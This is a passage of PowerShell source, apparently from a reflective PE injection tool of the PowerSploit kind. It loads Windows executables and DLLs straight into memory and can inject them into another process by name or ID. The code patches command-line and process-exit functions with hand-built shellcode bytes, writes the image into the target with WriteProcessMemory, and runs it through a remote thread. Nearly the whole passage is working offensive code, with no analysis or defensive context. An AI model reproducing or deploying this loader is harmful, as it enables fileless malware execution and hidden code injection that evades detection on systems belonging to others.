Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,
[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)
$ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
throw "KernelBase handle null"
}
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
}
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8
[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineAAddrTemp = $GetCommandLineAAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr
[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]$Shellcode3 = @(0xff, 0xd3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
Write-Output $ReturnArray
}
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)
{
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName)
{
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}
}
return [IntPtr]::Zero
}
Function Invoke-MemoryLoadLibrary
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$ExeArgs,
[Parameter(Position = 2, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position = 3)]
[Bool]
$ForceASLR = $false
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$RemoteLoading = $false
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$RemoteLoading = $true
}
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
$NXCompatible = $false
}
$Process64Bit = $true
if ($RemoteLoading -eq $true)
{
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
if ($Result -eq [IntPtr]::Zero)
{
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
}
[Bool]$Wow64Process = $false
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
if ($Success -eq $false)
{
Throw "Call to IsWow64Process failed"
}
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
{
$Process64Bit = $false
}
$PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$PowerShell64Bit = $false
}
if ($PowerShell64Bit -ne $Process64Bit)
{
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$Process64Bit = $false
}
}
if ($Process64Bit -ne $PEInfo.PE64Bit)
{
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
}
[IntPtr]$LoadAddr = [IntPtr]::Zero
$PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
if ((-not $ForceASLR) -and (-not $PESupportsASLR))
{
[IntPtr]$LoadAddr = $OriginalImageBase
}
elseif ($ForceASLR -and (-not $PESupportsASLR))
{
}
if ($ForceASLR -and $RemoteLoading)
{
Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
}
if ($RemoteLoading -and (-not $PESupportsASLR))
{
Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
}
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
if ($RemoteLoading -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($EffectivePEHandle -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
}
}
else
{
if ($NXCompatible -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
}
else
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
}
$EffectivePEHandle = $PEHandle
}
[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
if ($PEHandle -eq [IntPtr]::Zero)
{
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
}
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
if ($RemoteLoading -eq $true)
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
}
else
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
}
if ($RemoteLoading -eq $false)
{
if ($NXCompatible -eq $true)
{
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
}
}
else
{
}
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write shellcode to remote process memory."
}
}
if ($PEInfo.FileType -ieq "DLL")
{
if ($RemoteLoading -eq $false)
{
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq "EXE")
{
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
{
Throw "Can't supply a ProcId and ProcName, choose one or the other"
}
elseif ($ProcName -ne $null -and $ProcName -ne "")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw "Can't find process $ProcName"
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
}
else
{
$ProcId = $Processes[0].ID
}
}
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw "Couldn't obtain the handle for process ID: $ProcId"
}
}
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
